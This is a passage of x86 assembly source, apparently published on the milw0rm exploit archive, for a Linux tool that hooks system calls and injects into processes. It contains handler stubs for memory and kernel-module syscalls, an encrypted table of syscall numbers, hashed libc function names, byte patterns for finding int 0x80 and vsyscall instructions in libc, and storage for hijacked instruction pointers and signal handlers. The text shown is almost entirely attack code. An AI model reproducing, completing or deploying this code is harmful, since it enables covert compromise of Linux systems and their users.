.link: mov ebx,sc_mmap
cmp eax,ebx
jne _schndl_munmap
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*13)-gdelta]
%endif
ret
_schndl_munmap: ; munmap syscall handler:
.link: mov ebx,sc_munmap
cmp eax,ebx
jne _schndl_uname
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*14)-gdelta]
%endif
ret
_schndl_uname: ; uname syscall handler
.link: mov ebx,sc_uname
cmp eax,ebx
jne _schndl_mprotect
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*15)-gdelta]
%endif
ret
_schndl_mprotect: ; mprotect syscall handler
.link: mov ebx,sc_mprotect
cmp eax,ebx
jne _schndl_create_module
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*16)-gdelta]
%endif
ret
_schndl_create_module: ; lkm syscall handler
.link: mov ebx,sc_create_module
cmp eax,ebx
jne _schndl_init_module
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*17)-gdelta]
%endif
ret
_schndl_init_module: ; lkm syscall handler:
.link: mov ebx,sc_init_module
cmp eax,ebx
jne _schndl_delete_module
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*18)-gdelta]
%endif
ret
_schndl_delete_module: ; lkm syscall handler:
.link: mov ebx,sc_delete_module
cmp eax,ebx
jne _schndl_query_module
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*19)-gdelta]
%endif
ret
_schndl_query_module: ; lkm syscall handler:
.link: mov ebx,sc_query_module
cmp eax,ebx
jne last
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*20)-gdelta]
%endif
ret
last: ud2
times 4 db 0h
_schndl_end_:
%ifdef DBG
sch_counter times 21 dd 0h
%endif
;===============================================================================|
; data section: variables,globals,etc
;===============================================================================|
; the magic table
_mtbl_begin_:
.key dd 0h ; enc/dec key
magic_table:
dd 015h ; count
scw_fork db 002h, 08Bh,0D6h,006h,000h
scw_read db 003h, 074h,08Bh,007h,000h
scw_write db 004h, 0A5h,090h,07Eh,000h
scw_open db 005h, 0beh,066h,007h,000h
scw_close db 006h, 095h,036h,06Ah,000h
scw_execve db 00Bh, 0C5h,0BAh,0CEh,006h
scw_mount db 015h, 054h,06Ch,074h,000h
scw_umount db 016h, 054h,06Ch,0C4h,007h
scw_ptrace db 01Ah, 095h,087h,07Bh,007h
scw_mkdir db 027h, 002h,01Bh,074h,000h
scw_rmdir db 028h, 002h,03Bh,079h,000h
scw_chroot db 03Dh, 064h,096h,09Fh,006h
scw_reboot db 058h, 064h,096h,08Bh,007h
scw_mmap db 05Ah, 080h,043h,007h,000h
scw_munmap db 05Bh, 080h,053h,04Ch,007h
scw_uname db 07Ah, 035h,048h,07Ch,000h
scw_mprotect db 07Dh, 0E4h,0ACh,096h,007h
scw_create_module db 07Fh, 0C5h,032h,0CEh,000h
scw_init_module db 080h, 085h,0ECh,055h,006h
scw_delete_module db 081h, 0C5h,072h,007h,001h
scw_query_module db 0A7h, 0D5h,073h,0CEh,003h
times 5 db 0h ; align pad
_mtbl_end_:
func_hashtbl: dd 006h ; count
f_sprintf db 0D6h,005h,079h,00Ah
f_snprintf db 006h,002h,079h,005h
f_atoi db 059h,08Bh,006h,000h
f_malloc db 053h,033h,038h,007h
f_calloc db 053h,033h,098h,006h
f_free db 0B5h,0D8h,006h,000h
func_vatbl: ; API addresses:
va_sprintf dd 0h
va_snprintf dd 0h
va_atoi dd 0h
va_malloc dd 0h
va_calloc dd 0h
va_free dd 0h
ssii_table: db 002h ; count
; entry format: [1b|2b|3b|4-Nb]
; 1b = entry size
; 2b = bytes to compare
; 3b = instruction size
; 4-Nb = instruction
; [int80]
.e0: db (.e1-$)
db 002h
db 002h
db 0CDh,080h
; [vsyscall]
.e1: db (.e2-$)
db 007h
db 007h
db 065h,0FFh,015h,010h,000h,000h,000h
.e2
libcso_map_names: dd 04h ; count
dd (.n1-($+_dword))
db "/lib/tls/libc."
.n1: dd (.n2-($+_dword))
db "/lib/tls/libc-"
.n2: dd (.n3-($+_dword))
db "/lib/libc."
.n3: dd (.n4-($+_dword))
db "/lib/libc-"
.n4:
libcso_lkm_names: dd 01h
dd (.n1-($+_dword))
db "/libc."
.n1:
dev_random db "/dev/random",0h
self_maps db "/proc/self/maps",0h
pid_maps db "/proc/%d/maps",0h
context times (10*_push) db 0h ; eip+pushad+pushfd
host_code times 78h db 0h
mpfr_struct times (7*_dword) db 0h
sosr_struct times (9*_dword) db 0h
room_size dd ((fini-starter) + 3048 + (1000h-1)) & ~(1000h-1)
stack_padd dd (fini-starter)+100h
starter_sz dd (schooker-starter)+((schooker-starter) % 4)
maps dd 0h
orig_esp dd 0h
inj_orig_eip dd 0h
inj_orig_esp dd 0h
code_address dd 0h
orig_traphndl dd 0h
orig_segvhndl dd 0h
link_map dd 0h
libc_text_base dd 0h
libc_text_size dd 0h
ade_flagtable dd 0h
ade_dstruct dd 0h
sigfrm dd 0h
sdr dd 0h
ckfunc dd 0h
cksys dd 0h
pid dd 0h
hep dd 0h
noexec dd 0h
fini: db 0
# milw0rm.com [2006-08-30]